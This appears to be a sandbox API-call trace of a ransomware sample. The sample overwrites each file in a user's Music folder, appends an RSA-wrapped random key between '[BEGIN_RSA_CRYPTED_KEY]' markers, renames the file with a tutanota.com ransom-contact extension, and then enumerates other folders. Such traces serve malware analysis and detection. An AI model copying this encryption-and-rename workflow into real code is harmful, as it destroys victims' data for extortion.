[0148.039] ReadFile (in: hFile=0x5f8, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1f8, lpOverlapped=0x0) returned 1 [0148.040] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=-504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.040] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1f8, lpOverlapped=0x0) returned 1 [0148.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0148.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.040] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1f8 [0148.040] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.040] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.040] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.040] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.041] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.041] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="tQwgNcczLlNM52422tg1VVXkzL1H6eFf2p0N6YL0sxSYz0JtjjYnGgc/MhVVTXGO\n3p1Qb1eB9Fg4exZZtQYR/T21UJglsVpJ1DacBSRAPpSEbqzc5p5xEh/6pDD/vs7y\nKxEZDAjjhITdAiJGesXGixnZE4kdycmaQ/CSwvbnjid0GOrphsJV4sU0LpGCEgCe\nM7jxjrcR+AjgD5xjA2HuV9X8bwJLJ/14aVIWomd7CoADY+MzyGmWIg3lHJX3FVYM\nY+8gqkNMM7D8xBJ/NAEir4H1tidYGNMX7tviXriD3UUNQcEZl+kNfZ+nrQHLwLlL\nKH2NEOfYXyC9BKj7hfKJWQ==\n", pcchString=0x2e3f9a8) returned 1 [0148.041] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.053] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.053] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.053] CloseHandle (hObject=0x5f8) returned 1 [0148.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.053] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\music\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Music\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.055] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.055] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0148.055] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0148.055] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0148.055] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0148.055] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.055] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.055] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\8ON0Xb4CPpIa.wav", dwFileAttributes=0x80) returned 1 [0148.056] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0148.056] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.056] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0148.056] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\8ON0Xb4CPpIa.wav" (normalized: "c:\\users\\fd1hvy\\music\\8on0xb4cppia.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0148.056] GetFileSizeEx (in: hFile=0x5f8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69272) returned 1 [0148.056] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10e98) returned 0x631898 [0148.056] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10e98) returned 0x642738 [0148.056] ReadFile (in: hFile=0x5f8, lpBuffer=0x631898, nNumberOfBytesToRead=0x10e98, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x10e98, lpOverlapped=0x0) returned 1 [0148.059] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=-69272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.059] WriteFile (in: hFile=0x5f8, lpBuffer=0x642738*, nNumberOfBytesToWrite=0x10e98, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x642738*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10e98, lpOverlapped=0x0) returned 1 [0148.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x642738 | out: hHeap=0x570000) returned 1 [0148.061] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10e98 [0148.061] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.061] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.061] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.061] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.062] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.062] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="OsvEZAvimd3bi8tVCgWVZPtoBvBZHwHEuOdB3EQCZR9rgg8oFzYZCuz9EMfX0Cpw\nEDrCkgmsyD2gNOXqaXKD5CzxmJdXvtICnLYGhUj2V8XwT3TtF69SGD+H3VvTDQSa\nt+XKsOsFcQnGDCnpCpfZ2AK+hyp8GmcECpSuSBuPOpDnxQDJmtj4LK/KNkKlFAQ2\nlwRFGkqf3w9OqodK6Jyv431nHwfP0pZl/LPiJSPf6CSBXkrcMiJIQ3qVhIMM1dZ8\nJXhAtJC+vjOhuqAWLuvxN6jUGoWfV2EuvLH96tln5F2fiI7z9S1v+jETetcQHFrl\nlNKOr3vkH6gEM+NrO+9SGg==\n", pcchString=0x2e3f9a8) returned 1 [0148.062] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.062] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.062] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.063] CloseHandle (hObject=0x5f8) returned 1 [0148.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.063] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\8ON0Xb4CPpIa.wav" (normalized: "c:\\users\\fd1hvy\\music\\8on0xb4cppia.wav"), lpNewFileName="\\Users\\FD1HVy\\Music\\8ON0Xb4CPpIa.wav.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\8on0xb4cppia.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0148.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0148.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0148.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0148.065] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.065] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\78gD k.mp3", dwFileAttributes=0x80) returned 1 [0148.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0148.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0148.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0148.066] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\78gD k.mp3" (normalized: "c:\\users\\fd1hvy\\music\\78gd k.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0148.066] GetFileSizeEx (in: hFile=0x5f8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1298) returned 1 [0148.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x512) returned 0x5b5a90 [0148.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x512) returned 0x631898 [0148.066] ReadFile (in: hFile=0x5f8, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x512, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x512, lpOverlapped=0x0) returned 1 [0148.067] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=-1298, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.067] WriteFile (in: hFile=0x5f8, lpBuffer=0x631898*, nNumberOfBytesToWrite=0x512, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x512, lpOverlapped=0x0) returned 1 [0148.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0148.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.067] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x512 [0148.067] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.067] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.067] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.067] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.068] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.068] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.068] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="7+aFQAdRVOG2yZDYMRZFEUUgDUZJ6W0MX3sDucsZj1TcBV4eeiweJ64ohqAOzHW7\nekXsboFDPniux8pHekZfi0EjoyDuKBFCMTjAB38Mknf3355h4q6lkUGo1A8pdL+V\n1DLwIrE/Mw7df2Vxi0r1AMrhsjSGPwEwuU6RDwXyAeWED3TJjmLFqGk92vrxWB7J\nZo2yIPvnJCni78BvDHuNSF8aRjHhf01VrREm9Kx773XGJivN727zaGralZpwrFuQ\ns9DnBSOWI/fuF3LVP5Qn4z8MQkud89IZHAJA4W2HE+ohASzfvub6mpk2QGM/QD+N\ntw86V3vCNYa61wwtkGfBpA==\n", pcchString=0x2e3f9a8) returned 1 [0148.068] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.068] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.068] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.068] CloseHandle (hObject=0x5f8) returned 1 [0148.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.069] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\78gD k.mp3" (normalized: "c:\\users\\fd1hvy\\music\\78gd k.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\78gD k.mp3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\78gd k.mp3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0148.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0148.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0148.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0148.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.072] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.072] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\3i3wn RapYG-Uaf.m4a", dwFileAttributes=0x80) returned 1 [0148.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0148.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0148.072] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\3i3wn RapYG-Uaf.m4a" (normalized: "c:\\users\\fd1hvy\\music\\3i3wn rapyg-uaf.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0148.073] GetFileSizeEx (in: hFile=0x5f8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=70816) returned 1 [0148.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x114a0) returned 0x631898 [0148.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x114a0) returned 0x642d40 [0148.073] ReadFile (in: hFile=0x5f8, lpBuffer=0x631898, nNumberOfBytesToRead=0x114a0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x114a0, lpOverlapped=0x0) returned 1 [0148.076] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=-70816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.076] WriteFile (in: hFile=0x5f8, lpBuffer=0x642d40*, nNumberOfBytesToWrite=0x114a0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x642d40*, lpNumberOfBytesWritten=0x2e3f9b4*=0x114a0, lpOverlapped=0x0) returned 1 [0148.076] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.077] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x642d40 | out: hHeap=0x570000) returned 1 [0148.078] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x114a0 [0148.078] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.078] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.078] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.078] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.079] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.079] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.079] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="GB34+/61zCEQGNd4EsokegqZK3rpRlX8nhEyvR2U0SDW1beLv650iEqTpc3mbdvR\n/Y8By7I0nvLwaNzon9iqIafjxv00VrXfXb8g9mRKXdZciQ+mlR+4shzSG3U/biRn\nmNnUZlN/bsUkb6SgHSf8MQv3kWMihQ6xi40z0glYZnMBg52rqGUwci42P9PL8CI8\n7So4gzC0JE6hUgStjIfs0jucKQr60Lu9k+W73WCCGFyGUUBdqGgXYfqbwgvZtCUD\n2gvEaoZo8t5Ue992AY1BR7Y5Ub+OwGriUj1lzjXTNkY/WVNG8zhCNOx+4/Lzm+eR\nE9E7g6jZm0wgp3TEa8kDHQ==\n", pcchString=0x2e3f9a8) returned 1 [0148.079] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.079] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.079] WriteFile (in: hFile=0x5f8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.079] CloseHandle (hObject=0x5f8) returned 1 [0148.079] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.079] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\3i3wn RapYG-Uaf.m4a" (normalized: "c:\\users\\fd1hvy\\music\\3i3wn rapyg-uaf.m4a"), lpNewFileName="\\Users\\FD1HVy\\Music\\3i3wn RapYG-Uaf.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\3i3wn rapyg-uaf.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0148.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0148.081] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0148.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0148.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0148.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb48 | out: hHeap=0x570000) returned 1 [0148.082] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\My Documents\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac23a9e0, ftCreationTime.dwHighDateTime=0x1d4d1f8, ftLastAccessTime.dwLowDateTime=0x23659200, ftLastAccessTime.dwHighDateTime=0x1d4ccab, ftLastWriteTime.dwLowDateTime=0x23659200, ftLastWriteTime.dwHighDateTime=0x1d4ccab, nFileSizeHigh=0x0, nFileSizeLow=0x2fee, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="_g9Q9vc.wav", cAlternateFileName="")) returned 0xffffffff [0148.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0148.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0148.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e9e0 | out: hHeap=0x570000) returned 1 [0148.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb70 | out: hHeap=0x570000) returned 1 [0148.082] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\NetHood\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac23a9e0, ftCreationTime.dwHighDateTime=0x1d4d1f8, ftLastAccessTime.dwLowDateTime=0x23659200, ftLastAccessTime.dwHighDateTime=0x1d4ccab, ftLastWriteTime.dwLowDateTime=0x23659200, ftLastWriteTime.dwHighDateTime=0x1d4ccab, nFileSizeHigh=0x0, nFileSizeLow=0x2fee, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="_g9Q9vc.wav", cAlternateFileName="")) returned 0xffffffff [0148.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0148.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0148.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eac0 | out: hHeap=0x570000) returned 1 [0148.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbc0 | out: hHeap=0x570000) returned 1 [0148.082] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\OneDrive\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60eba8 [0148.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0148.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0148.082] GetLastError () returned 0x5 